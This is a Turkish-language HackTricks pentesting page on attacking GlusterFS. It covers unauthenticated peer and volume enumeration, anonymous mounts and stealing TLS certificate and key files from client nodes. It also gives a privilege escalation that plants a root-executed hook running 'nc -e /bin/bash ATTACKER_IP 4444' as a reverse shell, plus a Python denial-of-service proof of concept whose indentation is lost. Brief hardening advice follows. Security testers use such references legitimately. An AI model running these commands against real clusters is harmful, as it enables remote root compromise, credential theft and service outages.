hacktricks/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md

116 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
**GlusterFS**, birden fazla sunucudan depolamayı tek bir **birleşik ad alanı** içinde birleştiren bir **dağıtık dosya sistemi**dir. Yönetim daemon'u (`glusterd`) varsayılan olarak **24007/TCP** üzerinde dinler ve **49152/TCP**'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce **2400824009/TCP** tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz.
```
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim **yayınlamadığında** bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir.
## Sayım
Saldırı kutunuzda istemci yardımcı programlarını kurun:
```bash
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
1. **Eşler keşfi ve sağlık**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **Hacim keşfi**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Yetkisiz olarak bağlama**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
Eğer montaj başarısız olursa, istemci tarafında `/var/log/glusterfs/<vol_name>-<uid>.log` dosyasını kontrol edin. Yaygın sorunlar şunlardır:
* TLS zorlaması (`option transport.socket.ssl on`)
* Adres tabanlı erişim kontrolü (`option auth.allow <cidr>`)
### Sertifika sorun giderme
Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları `/etc/ssl/` (veya hata günlüğünde gösterilen dizin) içine yerleştirin:
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Bilinen Güvenlik Açıkları (2022-2025)
| CVE | Etkilenen sürümler | Etki | Notlar |
|-----|-------------------|--------|-------|
| **CVE-2022-48340** | 10.010.4, 11.0 | Ağ üzerinden erişilebilen `dht_setxattr_mds_cbk` içinde kullanımdan sonra serbest bırakma | Uzaktan **DoS** ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. |
| **CVE-2023-26253** | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya ık PoC mevcut. |
| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` bağlanırken yanlış izin doğrulaması | Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir aşağıda ıklanan **priv-esc** ile sonuçlanır. |
> Her zaman `gluster --version` **her düğümde** kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır.
### `gluster_shared_storage`'ı Sömürmek (Yetki Yükseltme)
Son sürümlerde bile birçok yönetici özel `gluster_shared_storage` hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde **root** ile çalışan cronjob şablonlarını içerir.
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
Eğer `hooks/1/` mevcut değilse, `/ss_bricks/` için arama yapın tam yol ana sürüme göre değişiklik gösterebilir.
### Hizmet Reddi PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
`glusterfsd` < 11.0 sürümünde script çalıştırmak çökmesine neden olur.
---
## Güçlendirme & Tespit
* **Güncelleme** mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir.
* Her brick için **TLS**'yi etkinleştirin:
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* CIDR listeleri ile istemcileri kısıtlayın:
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* Yönetim portu 24007'yi yalnızca **özel VLAN** üzerinde veya SSH tünelleri aracılığıyla ığa çıkarın.
* Logları izleyin: `tail -f /var/log/glusterfs/glusterd.log` ve **audit-log** özelliğini yapılandırın (`volume set <vol> features.audit-log on`).
---
## Referanslar
* [GlusterFS güvenlik duyuruları](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}